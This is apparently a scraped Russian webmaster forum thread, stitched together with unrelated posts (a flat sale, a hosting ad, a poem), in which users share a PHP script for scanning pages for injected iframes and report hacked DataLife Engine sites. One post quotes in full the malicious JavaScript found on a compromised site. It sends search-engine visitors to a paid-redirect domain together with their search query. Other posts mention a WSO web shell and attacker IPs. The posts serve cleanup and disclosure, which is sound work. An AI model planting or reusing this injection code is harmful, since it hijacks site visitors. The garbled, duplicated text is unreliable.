postavkin: seosniks, а не подскажете, скрипт проверяет код страницы или результат который мы видим?
Т.е. им можно проверить присутствие нужного кода в странице?
Я писал этот скрипт себе когда мне заразили сайты вирусами, фреймами.
Я тогда просто в строке preg_match('/ИСКОМОЕ СЛОВО/i', $text, $ok);
starclyde: не... надо конкретно на указанных страницах(список у меня есть) именно искать и не очень большую фразу. Advego plagiatus не подойдет для этих целей.
Скрипт то можно написать. Но может программка уже есть такая.
ну вот вам код
<?php
/*iframe checker copiright iptimizators.info
icq 317418 разработка не сложных скриптов и прочей мелочи.
Написание парсеров контента для любой кмс от 10$ за парсер*/
error_reporting(0);
ob_start();
$file='frame.txt'; //имя файлика с вашими ссылками
echo'<ol>';
echo'<ol>';
$fh = fopen($file, "r");
while (!feof($fh)) {
$filestring = fgets($fh);
$url=str_replace('http://','',$url);
$url=str_replace("http://www.",'',$url);
$url = trim($filestring);
$text = file_get_contents('http://'.$url);
preg_match('/ИСКОМОЕ СЛОВО/i', $text, $ok);
$ok[0]=htmlspecialchars($ok[0]);
if($ok[0])
{echo "<li> <font color=#EE4026>сайт $url ".$ok[0]."</font></li>";
ob_flush();
flush();
}else { echo "<li><font color=#45C62F>сайт $url </font></li>".$ok[0];
ob_flush();
flush(); } }
echo'</ol>';?>
Crucifer: Сегодня ко мне постучались с проблемой на сайте. При переходе с поисковиков идет редирект на платник партнерки.
Взломан сайт forex-limit.ru. Не вычищаю код для доказательства, до тех пор пока сапорт не разберется с партнером и отпишется в теме.
(document.referrer);</script>"));
Айди потока зашифрован в скрипте, поэтому разбираем кукисы и видим, что flow_id = 645175. StimulProfit.com разберитесь.
Советую тем кто использует DLE проверить свои сайты, может быть началась новая волна взлома дле сайтов.
strefapl, у нас в Мухосранске однушка стоит 15 к зелени, аренда её - 100 в мес. Итого имеем 8 % годовых :)
Купите у меня двушку отдам за 600 к руб.
До школы 200 метрой
до реки 200 метров
центр 300 метров.
До города 35 км
до моря азова 40 км
до черного более 100 км.
🤪
seosniks, а не подскажете, скрипт проверяет код страницы или результат который мы видим?
Т.е. им можно проверить присутствие нужного кода в странице?
Я писал этот скрипт себе когда мне заразили сайты вирусами, фреймами.
Я тогда просто в строке preg_match('/ИСКОМОЕ СЛОВО/i', $text, $ok);
имел такую строку
\
preg_match('/<iframe/(.*?)<\/iframe>i', $text, $ok);Находил нужный фрем и удалял.
Если вам надо найти код от и до.
Тогд надо вставить
preg_match('/ОТ(.*?)Доi', $text, $ok);но тут есть еще тонкости, это по регуляркам почитать надо.
Там есть режим i без учета рагистра
m многострочный, что то типа такого.
еще его можно сделать чтоб проверял резмещенную вами ссылку на донорах, типа есть ли купленная ссылка на ваш сайт
и тд.
Ну вообще это самый простой примитивный код.
не... надо конкретно на указанных страницах(список у меня есть) именно искать и не очень большую фразу. Advego plagiatus не подойдет для этих целей.
Скрипт то можно написать. Но может программка уже есть такая.
ну вот вам код
Написать скрипт который по вашему признаку определит, есть ли на страницах то что вы ищите
Коллеги!
Мы продолжаем улучшать опции тарифных планов без повышения стоимости.
В прошлый раз мы увечили процессор, а сейчас увеличиваем оперативную память.
Новые лимиты на оперативную память для Виртуальных Серверов:
VDS-Старт — 64 Мб (без изменения)
VDS-Разгон — 256 Мб (+128 Мб)
VDS-Отрыв — 512 Мб (+256 Мб)
VDS-Улет — 1024 Мб (+512 Мб)
Заходите к нам на сайт и заказывайте!
Это реально хорошая новость. 🍿 чего-чего, а памяти всегда мало.
Вот что удалось найти
Файл counter.php на моем сайте судя по всему парсил какую то инфу с сайта new-episode.com
сайт размещен на firstvds.ru
вот еще списочек сайтов на этом же IP 82.146.62.186
Найдено сайтов: 7 goodnewspic.com goodpicnews.com newshotpost.com pictube.in topfamous.net weu.com.ua newshotpost.com
Шелл был залит с этих Ip 95.58.151.107 66.249.66.6
Вот еще поломали сегодня на хостинге, только не пойму как.
Но по логам видно что перебор был несоклько дней в PHPAdmin итд
Вот архив в нем есть все домены взломщика ну и кеи есть
Там правда скрипт кодирован но думаю раскоидровать его не проблема.
ссылки в файле logs
Если кто поглядит отпишитесь что там.
Это платник. Советую лучше найти партнерку, чей платник. Далее в их тех.поддержку отписать уже по поводу их партнера с ID 16466
Сломали сайт и залили шелл, шел залит сегодня называется WSO 2.5
Логи почишены правда только те что в папке Пользователя. Основные скачал, шас буду смотреть.
Поломал сучара все сайты на VDS.
Щас буду разбиратся в логах.
Нашел с десяток сайтов, так же нашел скрипт который работает с какой то PPC
Если кому интересно могу скинуть все файлы.
Сегодня ко мне постучались с проблемой на сайте. При переходе с поисковиков идет редирект на платник партнерки.
Взломан сайт forex-limit.ru. Не вычищаю код для доказательства, до тех пор пока сапорт не разберется с партнером и отпишется в теме.
(document.referrer);</script>"));
Айди потока зашифрован в скрипте, поэтому разбираем кукисы и видим, что flow_id = 645175. StimulProfit.com разберитесь.
Советую тем кто использует DLE проверить свои сайты, может быть началась новая волна взлома дле сайтов.
Тоже сломали сайт. Щас проверю и другие Дле.
function l(h) {return parseInt(h,16);}var r=document.referrer;if (r.indexOf('google.') > -1 || r.indexOf('yahoo.') > -1 || r.indexOf('yandex.') > -1 || r.indexOf('bing.com.') > -1 || r.indexOf('yahoo.') > -1 || r.indexOf('rambler.') > -1 || r.indexOf('go.mail.') > -1){document.write(unescape("<script type="text/javascript">sp_redirect = {};sp_redirect.searchers = [ [/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2], [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2], [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2]];sp_redirect.sp_redirect = function(referer) { var query=null; for(var i=0; i<sp_redirect.searchers.length; i ) { var se = sp_redirect.searchers; if (referer.match(se[0])) { query = referer.match(se[1])[se[2]]; break; } } document.location.href='http://shara.searchlots-all.ru/' '?wkey=" l('9d837') "' '' (query? '&query=' query : '');};sp_redirect.sp_redirect(document.referrer);</script>")); }Странно сломано. Один сайт сломан другой в акке не тронут.
Видимо сломан через уязвимость Дле.
Так как версия стояла Версия DataLife Engine: 7.5
Пойду обновлять.
Я боюсь всего на свете!
Жрать пельмени, что в пакете.
Год их выпуска старинный!
В магазине третью зиму,
в холодильнике лежат.
А еще боюсь к врачу!
Когда сверлят, я кричу.
И сверло когда сломалось.
И в зубах моих осталось.
Спать боюсь, в ночное лето.
Если на столбе, нет света.
Засыпать боюсь, как раз.
Уличный фонарь погас.
Но зато я не боюсь.
Когда лягу отрублюсь.
Только вот жена ворчит.
Что любимый, гад храпит.
Страх пожалуй это нормально я так думаю.
Страх — это не что иное, как заложенный природой механизм самосохранения, это Сисадмин нашего организма.
P.S. Я боюсь летать на самолете, ездить на машине более 160 км.
ходить к стоматологу, боюсь когда аритмия, и пульс пропадает.
35 прожил, даст бог еще дочку замуж выдам.
;)